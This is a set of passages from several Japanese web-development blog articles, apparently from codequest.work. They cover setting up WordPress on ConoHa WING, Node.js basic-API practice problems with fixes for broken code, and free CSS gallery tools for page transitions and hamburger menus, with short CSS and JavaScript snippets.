料金タイプは「WINGパック」と「通常料金」の2種類があります。WINGパックは契約期間分を一括前払いする代わりに月額が割引され、独自ドメイン最大2つ無料の特典が付くのはWINGパックだけです。WordPressサイトを運用するならWINGパック一択と考えて問題ありません。 出典: ConoHa WING公式サイト 料金ページ（2026年7月時点・キャンペーン適用価格） 2026年7月時点の12ヶ月契約（WINGパック）の内容を整理すると次のとおりです。料金はキャンペーンにより変動するため、申し込み時に公式サイトで最新価格を確認してください。 項目ベーシックスタンダードプレミアム月額（12ヶ月・キャンペーン時）937円2,145円4,290円初期費用無料無料無料SSD容量500GB600GB700GBメモリ / vCPU8GB / 6コア12GB / 8コア16GB / 10コア独自SSL・自動バックアップ無料無料無料独自ドメイン無料特典2つ2つ2つ向いている用途個人ブログ・ポートフォリオ画像やページが多いサイト複数サイトの管理 注意点として、WINGパックは契約期間分の一括前払いで、契約期間中の途中解約はできません。まずは3ヶ月や6ヶ月で試したい人は短い期間を選び、続ける確信が持てたタイミングで長期契約に切り替えるのも手です。 STEP1：申し込み手順（アカウント登録〜支払い） 公式サイトの「お申し込み」ボタンから進みます。流れは以下の6ステップで、公式ページの案内どおりに入力していけば迷いません。 出典: ConoHa WING公式サイト お申し込みの流れ（2026年7月時点） 「お申し込み」ボタンをクリック：公式サイト右上の緑のボタンから開始 プランを選択：料金タイプ「WINGパック」・契約期間「12ヶ月」・プラン「ベーシック」が基準。ここで「WordPressかんたんセットアップを利用する」を選択しておく アカウント情報を登録：メールアドレスとパスワードでConoHaアカウントを作成し、氏名・住所・電話番号を入力 電話・SMS認証：電話番号に届く認証コードを入力（固定電話でも可） お支払い方法を設定：クレジットカードなら手数料無料・入金確認不要でそのまま進める 申し込み内容を確認して完了：完了画面からそのままSTEP2のかんたんセットアップに進める STEP2：WordPressかんたんセットアップの入力手順 申し込み完了画面から続けて、WordPressのセットアップに入ります。公式の手順は次の4ステップです。 出典: ConoHa WING公式サイト WordPressかんたんセットアップ（2026年7月時点） セットアップ方法を選択：新しく始めるなら「新規インストール」。他社サーバーからの引っ越しなら「他社サーバーからの移行」 WordPress情報・独自ドメインを入力：下の表の項目を入力する Whois情報を入力：ドメイン登録者情報。ConoHa WINGはWhois代行設定がデフォルトで適用されるため、個人情報が公開されることはない 内容を確認して設定完了：確認画面で「設定」をクリックすると、WordPressのURLとデータベース情報が表示される 入力項目は4つだけです。「後から変更できるか」を軸に整理しておきます。 入力項目内容後から変更独自ドメイン設定WordPressで使用するドメイン名不可（綴りに注意）作成サイト名WordPressのサイト名可（WordPress管理画面から）WordPressユーザー名WordPress管理画面のログイン用ConoHaアカウントとは別物WordPressパスワードWordPress管理画面のログイン用ConoHaアカウントとは別物 設定完了画面に表示されるデータベースのパスワードは後から確認できません（公式も強調している注意点です）。スクリーンショットを撮るか、パスワード管理ツールに必ず控えてください。通常運用で使う場面は少ないものの、サーバー移行やトラブル復旧時に必要になります。 セットアップ後に確認する3つのこと サイトが表示されるか：設定完了後、取得したドメインのURLにアクセスする。ドメインの反映（DNS浸透）には数分〜数十分かかるため、すぐ表示されなくても焦らず待つ SSL（https）が有効か：無料独自SSLは自動で設定が進む。URLが「https://」で始まり、ブラウザに警告が出ないことを確認する。反映まで時間がかかる場合は、コントロールパネルのサイト管理→サイトセキュリティから状態を確認できる WordPress管理画面にログインできるか：「https://ドメイン名/wp-admin/」にアクセスし、かんたんセットアップで決めたWordPressユーザー名・パスワードでログインする インストール後に最初にやるWordPress設定 記事を書き始める前に、最低限この4つだけ済ませておくと後戻りがありません。 パーマリンク設定：設定→パーマリンクで「投稿名」に変更。記事を公開した後に変えるとURLが変わってしまうため、最初に決めるのが鉄則 一般設定：サイトタイトル・キャッチフレーズを確認。仮の名前で登録した場合はここで整える 不要な初期プラグイン・テーマの整理：使わないものは削除しておくとセキュリティ面でも安心 テーマの適用：かんたんセットアップでテーマを選んでいた場合は有効化を確認。後からいつでも変更できる Web制作の案件でクライアントのサーバーを設定する立場になったら、確認項目はさらに増えます。その場合はWordPress案件を受注したら最初にやるサーバー設定をチェックリストとして使ってください。 うまくいかないときのチェックポイント 症状原因と対処サイトが表示されないドメインのDNS反映待ちの可能性が高い。数十分〜数時間待ってから再アクセスする「保護されていない通信」と出るSSLの反映待ち。コントロールパネルでSSL有効化の状態を確認し、反映後にhttpsでアクセスし直すSMS認証コードが届かない電話認証（自動音声）に切り替えられる。固定電話でも認証可能管理画面にログインできないConoHaアカウントの情報を入力していないか確認。WordPressのログインはかんたんセットアップで決めたユーザー名・パスワードドメイン名を打ち間違えて設定した自力では変更できないため、早めにConoHaのサポート（メール・チャット・電話）へ相談する 実際に運用してわかったConoHa WINGの注意点 当サイトをConoHa WINGで運用するなかで、公式の案内だけでは気づきにくかったポイントが3つあります。契約前に知っておくと運用が楽になります。 コントロールパネルは2階層あることを理解する ConoHaのコントロールパネルには、契約やドメインを扱う画面と、WordPress・SSL・メールなどを扱う「サイト管理」の画面があります。最初のうちは「SSLの設定がどこにあるかわからない」と迷いがちですが、サイト単位の設定はすべて「サイト管理」側にあると覚えておくと、目的の画面へ素早くたどり着けます。 WAF（セキュリティ機能）が正常な操作を誤検知することがある ConoHa WINGには WAF（Webアプリケーションファイアウォール）が標準で有効になっています。ふだんはサイトを守ってくれる心強い機能ですが、技術ブログのようにHTMLやSQLのコードを本文に含む記事を保存しようとすると、攻撃と誤検知されて更新がブロックされることがあります。当サイトでも何度か遭遇しました。その場合はコントロールパネルのサイトセキュリティからWAFを一時的にOFFにして保存し、作業後は必ずONに戻すのが安全な運用です。 自動バックアップは14日分。大きな変更前は手動バックアップを 自動バックアップは過去14日分が保存されますが、逆に言えば15日以上前の状態には戻せません。テーマの大改修やプラグインの一括更新など「壊れる可能性のある作業」の前には、プラグインやエクスポート機能で手動バックアップを取っておくと、時間が経ってから問題に気づいた場合でも復旧できます。 ### [Node.js練習問題集【基礎API編】](https://codequest.work/nodejs-practice-problems/) Node.jsとは、ブラウザの外でJavaScriptを実行するためのランタイムのことで、サーバー開発・CLIツール・ビルドツールの土台として使われています。本記事は、そのNode.js固有の基礎API（fs・path・モジュール・process・イベントループ）を「壊れたコードを直しながら」身につける中級者向けの練習問題集です。 Stack Overflow Developer Survey 2025（177カ国・49,000人超が回答）によると、Node.jsはWebフレームワーク・技術カテゴリで利用率48.7%の1位であり、2位のReact（44.7%）を上回っています。それだけ使われている技術なのに、「JavaScriptの文法は書けるが、fsやイベントループになると手が止まる」という人は少なくありません。原因は知識不足ではなく、Node.js固有のAPIを手を動かして試す場所がないことです。 この記事では、サンプル問題5問を「壊れたコード → ヒント → 解答と解説」の形式で解答付きで掲載し、続きの15問はブラウザだけで解ける演習アプリで出題します。仕上げには、アプリでは体験できないhttpサーバーとExpressのローカル実行課題も用意しました。JavaScriptの基礎文法がまだの方は JavaScript練習問題23選（基礎文法編） から始めてください。 この練習問題集の構成と進め方 対象レベルは、JavaScriptの基礎文法（変数・関数・配列・条件分岐）を理解済みの中級者です。出題は全20問で、テーマ別の内訳は次のとおりです。各テーマの代表問題を本記事にサンプルとして掲載し、全問はブラウザ演習アプリで解けます。 テーマ出題数本記事のサンプルfs（ファイル操作）5問問1path（パス操作）3問問2モジュール（CJS / ESM）4問問3process（引数・環境変数）3問問4イベントループ3問問5Stream・Buffer2問アプリのみ 次の手順で取り組むと、Node.js固有の考え方が効率よく身につきます。 まず解答を見ずに、壊れたコードの「どこが・なぜ」おかしいかを予想する ヒントを開いて、考える方向が合っているか確認する 解答例と解説で「なぜそうなるのか」と「次の一手」まで理解する 本記事の5問を終えたら、演習アプリで残りの15問に挑戦する 環境構築：Node.js v24（LTS）を入れる Node.js公式のダウンロードページ（2026年7月29日時点）では、LTS版として v24.18.0（コードネーム Krypton）、Current版として v26.5.0 が提供されています。Node.js公式は「Production applications should only use Active LTS or Maintenance LTS releases（本番アプリケーションはActive LTSまたはMaintenance LTSのリリースのみを使うべき）」と明記しているため、練習環境も v24系のLTS を選んでおけば間違いありません。なお v20（Iron）は2026年4月30日にサポート終了（EOL）を迎えているため、これから始めるなら選択肢に入りません。 Node.js公式のダウンロードページからインストーラーを入れたら、ターミナルで次の2つを確認します。 node -v # v24.18.0 のように表示されればOK npm -v # npmも一緒に入っている 「今すぐ問題だけ解きたい」「インストールは後回しにしたい」という場合は、本記事のサンプル5問を読んだあと、環境構築なしで動かせるブラウザ演習アプリから始めても構いません。ブラウザで使えるコーディング環境を広く知りたい方は ブラウザだけでコードを書ける実行環境5選 も参考になります。 問1. fs：ファイルを読んだはずが Promise が表示される notes.txt の中身を表示してから copy.txt に複製するプログラムです。中身が表示されるはずが Promise { <pending> } と出力され、書き込みでもエラーになります。原因を見つけて直してください。 // index.js（CommonJS） const fs = require('node:fs/promises'); async function main() { const text = fs.readFile('notes.txt', 'utf8'); console.log(text); // 期待: ファイルの中身 ／ 実際: Promise { <pending> } await fs.writeFile('copy.txt', text); // ここでもエラーになる } main(); ヒント fs/promises のAPIは、何を返すからその名前なのでしょうか。readFile の戻り値をそのまま使う前に、必要なキーワードが1つ抜けています。 解答例と解説 const fs = require('node:fs/promises'); async function main() { const text = await fs.readFile('notes.txt', 'utf8'); console.log(text); // ファイルの中身 await fs.writeFile('copy.txt', text); } main(); なぜ：fs/promises のAPIはすべてPromiseを返すため、await を付けないと戻り値は「これから解決される箱」のままです。後続の writeFile にはPromiseオブジェクトがそのまま渡り、文字列でもBufferでもないため ERR_INVALID_ARG_TYPE エラーになります。Promise版APIのインポートは、CommonJSなら require('node:fs/promises')、ESMなら import * as fs from 'node:fs/promises'; と書きます（Node.js公式APIドキュメント）。次の一手：第2引数の 'utf8' を外して実行すると、戻り値が文字列ではなく Buffer になることを確認しましょう。なお node:fs にはコールバック版APIもあり、公式は「最大の性能が必要な場面ではコールバック版が望ましい」としていますが、実務の読み書きでは async/await と素直に組み合わせられる fs/promises を使うのが読みやすい選択です。 問2. path：文字列連結のパスがWindowsで壊れる フォルダ名とファイル名からパスを組み立てて、拡張子を取り出すプログラムです。macでは動いているように見えますが、Windowsで壊れる箇所と、report.v2.txt のようなファイル名で壊れる箇所があります。2つとも直してください。 // index.js（CommonJS） const dir = 'data/reports'; const file = 'report.v2.txt'; const fullPath = dir + '/' + file; console.log(fullPath); const ext = file.split('.')[1]; console.log(ext); // 期待: txt ／ 実際: v2 ヒント OSごとの区切り文字の違いと「最後のドット以降」を、標準モジュール node:path はどう扱ってくれるでしょうか。join と extname を調べてみましょう。 解答例と解説 const path = require('node:path'); const dir = 'data/reports'; const file = 'report.v2.txt'; const fullPath = path.join(dir, file); console.log(fullPath); // OSに合った区切りで結合される const ext = path.extname(file); console.log(ext); // .txt なぜ：パスの区切り文字はOSによって異なります（path.sep で確認でき、Windowsは \）。文字列連結で / を直書きすると、区切りの混在や二重スラッシュの原因になります。path.join() は実行環境に合わせて正しく結合し、余分な区切りも正規化してくれます。拡張子も同様で、split('.')[1] は「最初のドットの次」を返すため、ドットを複数含むファイル名で壊れます。path.extname() は「最後のドット以降」を返す仕様なので安全です。次の一手：path.join('data', 'reports') と path.resolve('data', 'reports') の出力を比べて、相対パスのまま結合するjoinと、絶対パスに解決するresolveの違いを確認してみましょう。 問3. モジュール：require is not defined と怒られる プロジェクトの package.json に "type": "module" を設定したところ、今まで動いていたコードが ReferenceError: require is not defined in ES module scope で止まるようになりました。原因を説明して、動くように直してください。 { "name": "practice", "type": "module" } // index.js const path = require('node:path'); // ReferenceError! console.log(path.join('data', 'app.log')); ヒント "type": "module" が設定されていると、.js ファイルはどちらのモジュール方式として読み込まれるでしょうか。require はどちらの方式の書き方でしょうか。 解答例と解説 // 直し方①: ESMの構文に書き換える（推奨） import path from 'node:path'; console.log(path.join('data', 'app.log')); // 直し方②: このファイルだけCJSのままにしたい場合は // 拡張子を index.cjs に変える（中身は require のままでOK） なぜ：Node.js公式ドキュメントは「最も近い親 package.json の "type" フィールドが "module" の場合、.js で終わるファイルはESモジュールとして読み込まれる」と定めています。ESMのスコープに require は存在しないため、CJSの構文を書くと ReferenceError になります。逆に "type" が無い（または "commonjs"）場合、.js はCJS扱いです。拡張子 .mjs / .cjs は "type" の設定より優先して方式を確定させます。次の一手：逆方向の相互運用も試しましょう。CJS側からESMを読み込む require(esm) は、v23.0.0・v22.12.0・v20.19.0 でフラグ不要になり、v25.4.0 で実験的機能ではなくなりました（Node.js公式ドキュメント）。ただし読み込めるのは「トップレベル await を含まない完全に同期なモジュール」に限られます。小さな .mjs を作って require() で読み込めるか実験してみてください。 問4. process：コマンドライン引数と環境変数が読めない node greet.js Taro のように名前を渡して挨拶するCLIです。 ### [ページ遷移アニメーションをコピペで使える無料ツール｜カーテン・ローディング](https://codequest.work/page-transition-gallery-tool/) ページ遷移アニメーション CSSギャラリーとは、幕が開閉するカーテン演出・フェードやワイプなどの遷移演出・読み込み中に見せるローディング画面の3系統を、再生ボタンで実際に動かして試し、HTML+CSS+JSをワンクリックでコピーできる無料ツールです。外部ライブラリは不要で、アクセント色を自分のサイトに合わせてからコードを取得できます。 「ページを移動したときに一瞬だけ幕を挟みたい」「読み込み中の白い画面をどうにかしたい」——遷移演出は一瞬しか表示されないのに、コードを書いてページに貼るまで動きが確認できないという厄介さがあります。しかも幕が閉じる時間とページ移動のタイミングを合わせる必要があり、数値を少し変えては貼り直す作業になりがちです。 この記事では、CodeQuest.workが公開している無料ツール「ページ遷移アニメーション CSSギャラリー」の特徴と使い方を、実際の操作の流れに沿って解説します。カードをクリックすれば演出がその場で再生され、タイミングを合わせたJavaScriptまで含めてコードを取得できるツールです。 ページ遷移アニメーション CSSギャラリーを使ってみる（無料） ページ遷移アニメーション CSSギャラリーとは ページ遷移アニメーション CSSギャラリーは、ブラウザだけで完結する遷移演出の試用＆コード取得ツールです。基本の流れは「再生して試す → 選ぶ → コピペ」の3ステップだけ。カードをクリックすると演出が最初から再生され、気に入ったものはHTML・CSS・JSのセットをワンクリックでコピーできます。 このツールの要点は、演出とタイミングをセットで持ち帰れることです。遷移演出は「幕が閉じ切ってからページを移動する」必要があり、CSSの transition の時間とJavaScriptの待ち時間が一致していないと、移動が早すぎて演出が途中で切れたり、逆に幕が閉じたまま無駄に待たされたりします。ギャラリーが出力するコードでは、この待ち時間が各演出の実際の再生時間に合わせて埋め込まれています。 なお、収録されているのは「画面全体を覆う演出」です。要素単位で動かすアニメーションを探している場合は、姉妹ツールを解説したCSSアニメーションをコピペで使える無料ツールのほうが目的に合います。 このツールでできること 機能はシンプルに絞られています。登録やインストールは不要で、ページを開いた瞬間から使えます。 クリックで再生：カードを押すと演出が最初から再生される。一瞬で終わる動きも何度でも見返せる カテゴリで絞り込み：カーテン・ページ遷移・ローディングの3分類をチップで切り替え まとめて再生：「表示中を順に再生」で、絞り込んだ演出を順番に流して比較できる HTML+CSS+JSをワンクリックコピー：待ち時間まで調整済みのコード一式を取得 コードプレビュー：カードを選ぶとサイドバーに全コードを表示。貼る前に中身を確認できる 色のカスタマイズ：アクセント色・サブ色をカラーピッカーで変更すると、プレビューとコピーされるコードの両方に即反映 「表示中を順に再生」は、似た演出を見比べるときに便利です。遷移演出は単体で見ると良く見えても、並べると速度や重さの違いがはっきりします。なお、CodeQuest.workではこのほかにもCSS系の無料ツールを公開しており、全体像はCSSの装飾・アニメーションを作る無料ジェネレーターまとめで確認できます。 使い方は3ステップ 操作は難しくありません。ツールを開いてから実装に取りかかるまで、次の3ステップで完了します。 カテゴリを決める：ページ移動のときに見せたいのか、読み込み中に見せたいのかで選ぶ場所が変わります。前者はカーテンまたはページ遷移、後者はローディングです。 再生して見比べる：気になるカードをクリックして再生します。「表示中を順に再生」を使うと、絞り込んだ候補を続けて確認できます。 色を合わせてコピーする：サイドバーでアクセント色を自分のサイトに合わせ、コピーボタンを押します。コードには変更後の色がそのまま入っています。 遷移演出は「かっこよさ」で選ぶと失敗しやすい要素です。同じ動きを毎回のページ移動で見ることになるため、10回見ても気にならない速さかどうかを基準に選ぶと、公開後に後悔しにくくなります。 収録演出の3カテゴリ 収録されている演出は、使うタイミングごとに3つのカテゴリへ整理されています。見た目が似ていても発火の条件が違うため、まずこの区別を押さえておくと選びやすくなります。 カテゴリ種類数いつ動くか代表例カーテン20種ページを開いた直後に幕が開き、リンククリックで閉じる中央から左右に開く／縦ストライプが順に抜ける／円形に開く／ロールカーテンが巻き上がるページ遷移10種同上。幕というより画面全体の切り替え演出フェード／ぼかしが晴れて消える／色面が横切る／ブラインドが回って開くローディング12種最初から表示されており、読み込み完了で消えるリングが回る／プログレスバーが伸びる／0→100%にカウント／スケルトンUI風 カーテン系：幕の開き方で印象を作る 最も種類が多いのがカーテン系です。画面いっぱいの幕を position: fixed で敷いておき、開いた状態を表す is-open が付いたら transform で外へ逃がす、という構成で統一されています。もっともシンプルな「中央から左右に開く」は次のようなコードです。 .pt-split-x { position: fixed; inset: 0; z-index: 9999; display: flex; pointer-events: auto; } .pt-split-x.is-open { pointer-events: none; } .pt-split-x i { flex: 1; background: #6366f1; transition: transform 0.6s cubic-bezier(0.76, 0, 0.24, 1); } .pt-split-x.is-open i:nth-child(1) { transform: translateX(-100%); } .pt-split-x.is-open i:nth-child(2) { transform: translateX(100%); } 見落とされがちですが重要なのが pointer-events です。幕は画面の最前面にあるため、開いたあともそのままだとクリックを吸い取ってしまい、ページが操作できなくなります。開いた状態では none にして、下のコンテンツへ操作が通るようにしています。 幕の分割数や形を変えたバリエーションが揃っており、縦・横のストライプが順に抜けるもの、市松のタイルが消えるもの、円形に開くもの、波形やギザギザのふちを持つもの、ロールカーテンのように巻き上がるものなどから選べます。 ページ遷移系：控えめに切り替える ページ遷移カテゴリは、幕という形を取らずに画面全体を切り替えるタイプです。単純なフェード、ズームアウト、ぼかしが晴れる、色面が横切る、といった演出が中心で、カーテン系より自己主張が控えめです。 回遊性の高いサイト——記事数の多いブログやドキュメントのように、1セッションで何ページも移動する場所では、こちらのカテゴリのほうが向いています。演出が軽いぶん、移動のたびに待たされる感覚が出にくいためです。 ローディング系：初期状態が「表示」 ローディングカテゴリだけは動きの前提が逆になります。カーテンや遷移演出が「閉じている状態から開く」のに対し、ローディングは最初から画面に表示されていて、読み込みが終わったら消えるのが初期状態です。付属するJavaScriptもこの1点だけを担当します。 // 読み込み完了でローディング画面を閉じる window.addEventListener("load", () => { document.querySelector(".ld-spinner").classList.add("is-done"); }); 収録されているのは、リングが回るスピナー、プログレスバー、3点が順に跳ねるドット、ロゴが脈打つもの、数字が0から100%へ進むカウンター、文字が1つずつ現れるもの、スケルトンUI風など12種類です。画面を覆わずページ上端に極細のバーだけを出すタイプもあり、これは読み込みを知らせつつコンテンツを隠したくない場合に使えます。 単体の実装を深く知りたい場合は、個別の解説記事もあります。円形スピナーはCSSだけで作る円形ローディングアニメーション、ロゴが描かれる表現はSVGロゴが描かれるローディングアニメーション、文字が点灯する表現はテキストが点灯するローディングアニメーションで扱っています。 アクセント色・サブ色のカスタマイズ サイドバーには「アクセント色」と「サブ色」の2つのカラーピッカーがあります。アクセント色は幕やローディング画面の背景といった主役の色、サブ色は2色の面が続けて横切るパターンなど、2色使いの演出で使われる副色です。 遷移演出は画面の大部分をその色が占めるため、色選びの影響が他のUIパーツより大きいのが特徴です。ブランドカラーをそのまま全面に敷くと想像より強く出ることがあるので、実際に再生して面積込みで確認してから決めるのが確実です。色を変えるとプレビューとコピーされるコードの両方に即座に反映され、半透明の rgba() の値も連動して置き換わります。 コピーしたコードをサイトに組み込む方法 コピーされるのはCSS・HTML・JSの3点セットです。カテゴリによって組み込み方が変わるので、それぞれ見ていきます。 ローディング画面の場合 HTMLは body の先頭に置きます。読み込み中に表示するものなので、後ろのほうに書くと表示が遅れて意味が薄れます。CSSも同様に、遅延読み込みされるスタイルシートではなく、早い段階で適用される場所に置いてください。 JSは window の load イベントを待つだけなので、置き場所は問いません。なお load は画像を含むすべての読み込みが終わってから発火するため、画像の多いページでは待ち時間が長くなります。体感を優先するなら DOMContentLoaded に変えるか、一定時間で強制的に閉じる処理を足す方法があります。 リンククリック時の遷移演出の場合 カーテンとページ遷移カテゴリのJSは、読み込み直後に幕を開き、内部リンクのクリックを横取りして「幕を閉じてから移動する」という流れを作ります。 // 読み込み直後に幕を開き、内部リンクのクリックで幕を閉じてから遷移する const veil = document.querySelector(".pt-split-x"); requestAnimationFrame(() => veil.classList.add("is-open")); document.querySelectorAll('a[href^="/"]').forEach((a) => { a.addEventListener("click", (e) => { e.preventDefault(); veil.classList.remove("is-open"); setTimeout(() => (location.href = a.href), 600); }); }); 末尾の 600 は、その演出の幕が閉じ切るまでのミリ秒です。CSSの transition の時間と対になっており、演出ごとに違う値が入ります。CSSの速度を後から変えたときは、この数値も一緒に直す必要があります。ここがずれると、幕が閉じ切る前にページが切り替わったり、閉じたまま無駄に待たされたりします。 ### [ハンバーガーメニューCSSをコピペで使える無料ツール｜アイコン変形と開閉演出](https://codequest.work/hamburger-menu-gallery-tool/) ハンバーガーメニュー CSSギャラリーとは、3本線が×に変わるアイコン変形60種と、ドロワー・フルスクリーンなどの開閉アニメーション30種を実際にクリックして試し、HTML+CSS+JSをワンクリックでコピーできる無料ツールです。外部ライブラリは不要で、アクセント色を自分のサイトに合わせてからコードを取得できます。 「スマホのヘッダーにメニューを付けたいが、3本線が×に変わる動きをどう書けばいいのか毎回調べ直している」「ドロワーが右から出るコードは見つかったが、アイコンの変形は別のサイトから持ってきて組み合わせている」——ハンバーガーメニューは実装頻度が高いわりに、アイコンの動きとメニューの出方という2つの独立したパーツを毎回別々に探して合体させるという、地味に面倒な作業が発生しがちです。 この記事では、CodeQuest.workが公開している無料ツール「ハンバーガーメニュー CSSギャラリー」の特徴と使い方を、実際の操作の流れに沿って解説します。アイコン変形と開閉パターンをタブで切り替えて見比べ、その場でクリックして動きを確かめてから、そのまま貼れるコード一式を取得できるツールです。 ハンバーガーメニュー CSSギャラリーを使ってみる（無料） ハンバーガーメニュー CSSギャラリーとは ハンバーガーメニュー CSSギャラリーは、ブラウザだけで完結する開閉メニューの試用＆コード取得ツールです。基本の流れは「クリックして試す → 選ぶ → コピペ」の3ステップだけ。カードのボタンを押すと本番と同じ動きがその場で再生され、気に入ったものはHTML・CSS・JSのセットをワンクリックでコピーできます。 このツールの特徴は、収録内容が「アイコン変形」と「開閉パターン」の2モードに分かれていることです。前者はボタン自身の見た目（3本線が×や矢印に変わる動き）、後者はボタンを押したあとにメニューがどう現れるか（ドロワー・フルスクリーン・ドロップダウン）を担当します。この2つは独立して選べるため、「アイコンはシンプルな定番、メニューは全画面で派手に」といった組み合わせが自由に作れます。 なお、このギャラリーは「完成品を選んで貼る」ためのツールです。開閉の仕組みそのものを理解して一から自分で組みたい場合は、ハンバーガーメニューをCSSとJavaScriptで実装する解説記事のほうが目的に合います。「選んでコピペするのがギャラリー、構造から理解するのが実装記事」という棲み分けです。 このツールでできること 機能はシンプルに絞られています。登録やインストールは不要で、ページを開いた瞬間から使えます。 クリックして試す：カード内のボタンを押すと、本番と同じ開閉アニメーションをその場で再生 2モードをタブで切り替え：アイコン変形（60種）と開閉パターン（30種）を上部タブで行き来 カテゴリで絞り込み：定番・回転・スライド・矢印/記号・枠/背景・応用などのチップで一覧を絞る HTML+CSS+JSをワンクリックコピー：各カードのコピーボタンで、そのまま貼れるコード一式を取得 コードプレビュー：カードを選ぶとサイドバーに全コードを表示。貼る前に中身を確認できる 色のカスタマイズ：アクセント色・サブ色をカラーピッカーで変更すると、プレビューとコピーされるコードの両方に即反映 開いたメニューを一括で閉じる：試している途中で画面が塞がったときは「開いているメニューを全部閉じる」で復帰 コピーされるコードは <style> タグ入りのCSS、HTML、そして開閉を切り替える <script> のセットです。CodePenやローカルのHTMLファイルにそのまま貼れば、その場で同じ動きが再現されます。なお、CodeQuest.workではこのほかにもCSS系の無料ツールを公開しており、全体像はCSSの装飾・アニメーションを作る無料ジェネレーターまとめで確認できます。 使い方は3ステップ 操作は難しくありません。ツールを開いてから実装に取りかかるまで、次の3ステップで完了します。 モードを選ぶ：まず上部のタブで「アイコン変形」か「開閉パターン」かを決めます。ボタンの動きだけが欲しいのか、メニュー全体の出方まで欲しいのかで入口が変わります。 クリックして見比べる：カテゴリのチップで絞り込み、気になるカードのボタンを実際に押します。もう一度押せば閉じるので、開閉の往復まで確認できます。 色を合わせてコピーする：サイドバーでアクセント色を自分のサイトのブランドカラーに変え、コピーボタンを押します。コードには変更後の色がそのまま入っています。 色を先に決めてからコピーするのがポイントです。あとから手作業でHEX値を置換すると、影やボーダーなど同じ色を参照している箇所を見落としやすくなります。 アイコン変形の6カテゴリ アイコン変形モードには、ボタンそのものの動きが60種類収録されています。すべて「3本線が別の形に変わる」動きですが、変わり方の性格ごとに6つのカテゴリへ整理されています。 カテゴリ種類数代表例定番10種クロス／中央が縮んで消える／スクイーズ／フェードで×に入れ替わる／プラスになる回転10種ボタンごと回る／半周してから×になる／中心を軸にひねるスライド10種中央が左へ滑って消える／線が横へ抜けてから×が現れる矢印・記号10種戻る矢印になる／下向き矢印になる／記号へ切り替わる枠・背景10種枠線が描かれる／背景が塗りつぶされる／円形の背景が広がる応用10種弾む×／MENU⇔CLOSEの文字が入れ替わる／2段モーション 定番系：まず候補に入れたい基本の変形 迷ったらまず見るべきなのが定番カテゴリです。もっとも使用頻度が高い「クロス」は、3本の線を transform で上下に散らしておき、開いたときに上下を回転させ、中央を opacity: 0 で消すという構成になっています。 .hb-cross span { position: absolute; left: 9px; top: 50%; width: 30px; height: 3px; margin-top: -1.5px; background: #6366f1; border-radius: 2px; transition: transform 0.3s ease, opacity 0.3s ease; } .hb-cross span:nth-child(1) { transform: translateY(-9px); } .hb-cross span:nth-child(3) { transform: translateY(9px); } .hb-cross[aria-expanded="true"] span:nth-child(1) { transform: rotate(45deg); } .hb-cross[aria-expanded="true"] span:nth-child(2) { opacity: 0; } .hb-cross[aria-expanded="true"] span:nth-child(3) { transform: rotate(-45deg); } 線3本を span で置いているだけなので、HTMLは button 要素1つで完結します。同じ定番カテゴリでも、中央の線が縮んで消えるもの、いったん寄せてから回転する「スクイーズ」、×ではなくプラス記号になるものなど、印象の違う10種類から選べます。 回転・スライド系：動きに軌跡を持たせる 回転系はボタン全体やそれぞれの線が軸を持って回るタイプ、スライド系は線が横方向へ抜けてから×が現れるタイプです。定番系が「その場で形を変える」のに対し、こちらは変形の途中経過そのものを見せるのが持ち味で、開閉のアクションを印象づけたいサイトに向いています。 一方で回転量が大きいものは、閉じる操作のときに視線が動きに引っ張られます。ヘッダーに常時出ているボタンなら、transition の時間が短めのものを選ぶと操作のテンポを損ないません。 矢印・記号／枠・背景系：意味を持たせる変形 矢印・記号カテゴリは、開いた状態が×ではなく「戻る矢印」や「下向き矢印」になるものです。全画面メニューよりも、パネルが下に伸びるドロップダウンや、階層のある画面で「閉じる＝戻る」と伝えたいときに効きます。 枠・背景カテゴリは線そのものよりボタンの面を動かすタイプで、枠線が一周描かれたり、円形の背景が広がったりします。ボタンの周囲に余白があるヘッダーで、押せる領域をはっきり見せたい場合に相性が良いカテゴリです。 開閉パターンの5カテゴリ 開閉パターンモードは、ボタンを押したあとにメニュー本体がどう現れるかを扱います。こちらはナビゲーションのリンクまで含んだ状態でプレビューされるため、実際のヘッダーに近い見え方で比較できます。 カテゴリ種類数どんな出方かドロワー8種画面の端（左・右・上・下）からメニューが滑り込むフルスクリーン8種画面全体を覆う。フェード・円形リベールなど覆い方に差がある項目の出方6種パネルが開いたあと、リンクが時間差で順に現れるドロップダウン4種ヘッダーの下にパネルが伸びる。PCサイトでも使いやすい応用4種複数の動きを組み合わせた凝ったパターン ドロワー系：スマホヘッダーの最有力候補 スマートフォンのヘッダーで最も無難に収まるのがドロワーです。実装は position: fixed で画面外へ逃がしておき、開いたときに transform を 0 に戻すという構成になっています。 .hbp-left__nav { position: fixed; top: 0; bottom: 0; left: 0; z-index: 20; width: min(280px, 78%); padding: 60px 24px 20px; display: flex; flex-direction: column; gap: 14px; background: #6366f1; transform: translateX(-100%); /* 閉じている間はタブ順とアクセシビリティツリーから外す（見えなくしただけではタブで到達できてしまう） */ visibility: hidden; transition: transform 0.4s cubic-bezier(0.65, 0, 0.35, 1), visibility 0s linear 0.4s; } .hbp-left__btn[aria-expanded="true"] ~ .hbp-left__nav { transform: translateX(0); visibility: visible; transition: transform 0.4s cubic-bezier(0.65, 0, 0.35, 1), visibility 0s; } 注目したいのは visibility の扱いです。transform で画面外へ動かしただけだと、閉じているメニューのリンクがタブキーで到達できてしまい、スクリーンリーダーからも読み上げられます。閉じている間は visibility: hidden で隠し、開くときは遅延なしで戻すことで、見た目のアニメーションを保ったまま操作対象から外しています。display: none ではアニメーションが効かないため、この組み合わせが必要になります。 フルスクリーン・項目の出方：印象を作りたいとき フルスクリーンは画面全体をメニューが覆うタイプで、リンク数が少ないサイトやブランドサイトでよく使われます。単純なフェードのほか、ボタンの位置を中心に円が広がる「円形リベール」のように、覆い方そのものを演出にしているものが揃っています。 「項目の出方」カテゴリは、パネルが開いたあとにリンクが1つずつ順に現れるタイプです。 ### [CSSホバーエフェクトをコピペで使える無料ツール｜ナビ・リンク向け100種を試してコード取得](https://codequest.work/hover-effects-gallery-tool/) CSSホバーエフェクト ギャラリーとは、下線・ボーダー・背景塗り・テキスト・3D・発光など、ナビゲーションやテキストリンク向けのホバーアニメーション100種類を実際にマウスを乗せて試し、HTML+CSSをワンクリックでコピーできる無料ツールです。すべてCSSのみで動くため、外部ライブラリやJavaScriptは不要です。 「ナビのホバーが素っ気ないので下線アニメーションを付けたい」「リンクのマウスオーバーに気の利いた動きを足したい」——そんなとき、検索して出てきたコードを1つずつ貼って試すのは地味に時間がかかります。動きはページに貼るまで分からず、色も自分のサイトに合わせて書き換える必要があるからです。 